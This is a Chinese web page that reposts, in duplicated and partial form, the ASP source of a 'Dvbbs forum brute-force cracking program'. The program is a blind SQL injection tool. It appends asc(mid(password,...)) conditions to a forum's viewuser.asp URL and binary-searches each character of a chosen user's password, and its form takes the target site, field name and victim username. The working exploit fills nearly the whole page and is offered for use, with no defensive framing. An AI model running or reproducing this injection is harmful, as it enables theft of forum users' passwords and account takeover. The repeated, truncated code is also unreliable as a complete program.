Asctemp1=Asctemp
if (Asc2-Asc1) mod 2 = 1 then
Asctemp=(Asc2-Asc1-1)/2
else
Asctemp=(Asc2-Asc1)/2
end if
response.write "划定密码范围为：" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
PassLenUrl = Url & username & "'%20and%20asc(mid(password,"&i&",1))>=" & int(Asc1) & "%20and%20asc(mid(password,"&i&",1))<=" & int(Asc2) & "%20and%20'1'='1"
response.write "划定密码范围为：" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
ChkPass = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
if Asc1 = 33 and Asc2 = 126 and not ChkPass then
response.write "密码不在所设定ASC码范围内"
response.end
exit do
end if
if ChkPass then
Asc10=Asc1
Asc20=Asc2
response.write("密码在该范围内<BR>")
if Asc1=Asc2 then Suc = true
Asc2 = Asc1 + Asctemp
else
Asc1 = Asc20-Asctemp1
Asc2 = Asc20
response.write("不在该范围内，改试另一范围<BR>")
end if
count=count+1
if count>MaxPassAsc then
response.write("死循环了！")
response.end
exit do
end if
Loop
Ascstr=Ascstr & chr(Asc1)
response.write"<BR>当前破解进度（“"&Ascstr&"”）<BR><BR><BR><BR>"
Next
response.write"<FONT SIZE=7 COLOR=red>" & username & "的密码已经破解成功！！！！！！！（" & Ascstr & "）<BR></FONT><BR>"
else
%>
<body style="font-size:9pt">
<h3 align=center><B>动网论坛暴力破解程序</B></h3>
<FORM METHOD=POST ACTION="" name=frm>
网站地址：<INPUT TYPE="text" NAME="url" value="http://*******/bbs/viewuser.asp?username=">（要破解攻击的地址，注：地址中"="后的信息不要）<BR>
密码字段：<INPUT TYPE="text" NAME="password" value="password">（在数据库中保存密码的字段名）<BR>
出错页关键字：<INPUT TYPE="text" NAME="ErrKey" value="错误">（没有找到该用户时返回的页面关键字，比如“错误信息”）<BR>
成功页关键字：<INPUT TYPE="text" NAME="SucKey" value="">（成功查询到该用户资料时的关键字，比如用户名）<BR>
用户名称：<INPUT TYPE="text" NAME="username">（要破解密码的用户名）<BR>
<INPUT TYPE="submit" value="开始破解" name="begin"> <INPUT TYPE="button" value="检查用户" onclick="ChkUser()"> <INPUT TYPE="button" value="继续破解" onclick="alert('防止中途结束了，但是没作好')">
</FORM>
<%end if%>
<SCRIPT LANGUAGE="javascript">
<!--
function ChkUser()
{
window.open(document.frm.url.value+document.frm.username.value);
}
//-->
if (Asc2-Asc1) mod 2 = 1 then
Asctemp=(Asc2-Asc1-1)/2
else
Asctemp=(Asc2-Asc1)/2
end if
response.write "划定密码范围为：" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
PassLenUrl = Url & username & "'%20and%20asc(mid(password,"&i&",1))>=" & int(Asc1) & "%20and%20asc(mid(password,"&i&",1))<=" & int(Asc2) & "%20and%20'1'='1"
response.write "划定密码范围为：" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
ChkPass = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
if Asc1 = 33 and Asc2 = 126 and not ChkPass then
response.write "密码不在所设定ASC码范围内"
response.end
exit do
end if
if ChkPass then
Asc10=Asc1
Asc20=Asc2
response.write("密码在该范围内<BR>")
if Asc1=Asc2 then Suc = true
Asc2 = Asc1 + Asctemp
else
Asc1 = Asc20-Asctemp1
Asc2 = Asc20
response.write("不在该范围内，改试另一范围<BR>")
end if
count=count+1
if count>MaxPassAsc then
response.write("死循环了！")
response.end
exit do
end if
Loop
Ascstr=Ascstr & chr(Asc1)
response.write"<BR>当前破解进度（“"&Ascstr&"”）<BR><BR><BR><BR>"
Next
response.write"<FONT SIZE=7 COLOR=red>" & username & "的密码已经破解成功！！！！！！！（" & Ascstr & "）<BR></FONT><BR>"
else
%>
<body style="font-size:9pt">
<h3 align=center><B>动网论坛暴力破解程序</B></h3>
<FORM METHOD=POST ACTION="" name=frm>
网站地址：<INPUT TYPE="text" NAME="url" value="http://*******/bbs/viewuser.asp?username=">（要破解攻击的地址，注：地址中"="后的信息不要）<BR>
密码字段：<INPUT TYPE="text" NAME="password" value="password">（在数据库中保存密码的字段名）<BR>
出错页关键字：<INPUT TYPE="text" NAME="ErrKey" value="错误">（没有找到该用户时返回的页面关键字，比如“错误信息”）<BR>
成功页关键字：<INPUT TYPE="text" NAME="SucKey" value="">（成功查询到该用户资料时的关键字，比如用户名）<BR>
用户名称：<INPUT TYPE="text" NAME="username">（要破解密码的用户名）<BR>
<INPUT TYPE="submit" value="开始破解" name="begin"> <INPUT TYPE="button" value="检查用户" onclick="ChkUser()"> <INPUT TYPE="button" value="继续破解" onclick="alert('防止中途结束了，但是没作好')">
</FORM>
<%end if%>
<SCRIPT LANGUAGE="javascript">
<!--
function ChkUser()
{
window.open(document.frm.url.value+document.frm.username.value);
}
//-->
相关文章
 我来说两句 |
对此文章发表了评论 |
评论列表 （最新 评论仅限网友观点！）
推荐文章
